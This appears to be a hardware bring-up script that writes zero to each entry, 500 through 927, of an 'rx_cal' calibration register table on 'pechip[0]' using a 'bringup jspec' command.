bringup jspec write pechip[0] register pg_core fctl rx_cal 500 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 501 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 502 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 503 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 504 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 505 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 506 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 507 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 508 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 509 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 510 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 511 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 512 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 513 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 514 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 515 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 516 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 517 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 518 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 519 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 520 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 521 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 522 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 523 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 524 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 525 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 526 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 527 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 528 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 529 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 530 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 531 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 532 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 533 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 534 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 535 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 536 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 537 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 538 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 539 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 540 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 541 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 542 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 543 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 544 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 545 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 546 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 547 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 548 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 549 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 550 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 551 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 552 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 553 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 554 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 555 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 556 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 557 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 558 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 559 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 560 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 561 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 562 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 563 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 564 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 565 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 566 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 567 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 568 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 569 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 570 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 571 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 572 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 573 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 574 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 575 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 576 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 577 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 578 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 579 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 580 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 581 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 582 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 583 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 584 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 585 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 586 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 587 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 588 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 589 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 590 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 591 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 592 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 593 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 594 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 595 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 596 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 597 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 598 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 599 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 600 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 601 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 602 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 603 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 604 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 605 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 606 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 607 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 608 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 609 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 610 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 611 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 612 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 613 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 614 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 615 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 616 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 617 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 618 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 619 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 620 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 621 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 622 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 623 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 624 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 625 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 626 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 627 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 628 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 629 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 630 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 631 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 632 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 633 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 634 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 635 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 636 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 637 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 638 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 639 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 640 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 641 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 642 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 643 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 644 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 645 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 646 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 647 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 648 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 649 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 650 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 651 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 652 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 653 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 654 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 655 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 656 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 657 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 658 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 659 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 660 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 661 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 662 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 663 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 664 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 665 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 666 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 667 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 668 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 669 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 670 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 671 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 672 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 673 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 674 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 675 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 676 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 677 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 678 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 679 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 680 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 681 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 682 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 683 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 684 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 685 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 686 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 687 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 688 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 689 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 690 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 691 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 692 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 693 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 694 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 695 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 696 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 697 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 698 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 699 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 700 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 701 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 702 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 703 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 704 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 705 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 706 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 707 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 708 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 709 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 710 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 711 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 712 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 713 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 714 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 715 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 716 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 717 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 718 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 719 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 720 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 721 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 722 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 723 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 724 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 725 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 726 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 727 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 728 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 729 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 730 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 731 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 732 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 733 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 734 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 735 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 736 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 737 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 738 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 739 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 740 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 741 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 742 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 743 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 744 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 745 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 746 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 747 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 748 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 749 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 750 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 751 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 752 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 753 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 754 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 755 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 756 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 757 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 758 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 759 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 760 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 761 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 762 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 763 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 764 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 765 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 766 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 767 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 768 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 769 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 770 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 771 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 772 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 773 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 774 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 775 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 776 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 777 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 778 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 779 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 780 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 781 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 782 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 783 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 784 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 785 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 786 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 787 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 788 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 789 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 790 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 791 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 792 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 793 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 794 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 795 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 796 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 797 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 798 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 799 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 800 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 801 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 802 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 803 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 804 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 805 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 806 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 807 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 808 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 809 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 810 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 811 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 812 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 813 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 814 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 815 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 816 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 817 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 818 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 819 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 820 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 821 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 822 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 823 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 824 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 825 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 826 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 827 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 828 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 829 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 830 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 831 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 832 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 833 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 834 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 835 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 836 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 837 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 838 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 839 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 840 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 841 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 842 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 843 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 844 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 845 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 846 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 847 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 848 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 849 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 850 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 851 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 852 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 853 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 854 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 855 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 856 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 857 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 858 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 859 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 860 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 861 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 862 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 863 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 864 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 865 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 866 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 867 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 868 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 869 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 870 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 871 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 872 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 873 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 874 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 875 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 876 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 877 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 878 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 879 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 880 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 881 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 882 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 883 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 884 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 885 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 886 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 887 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 888 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 889 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 890 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 891 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 892 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 893 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 894 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 895 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 896 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 897 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 898 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 899 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 900 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 901 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 902 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 903 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 904 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 905 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 906 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 907 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 908 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 909 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 910 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 911 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 912 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 913 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 914 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 915 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 916 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 917 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 918 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 919 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 920 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 921 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 922 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 923 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 924 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 925 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 926 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 927 0x000000000
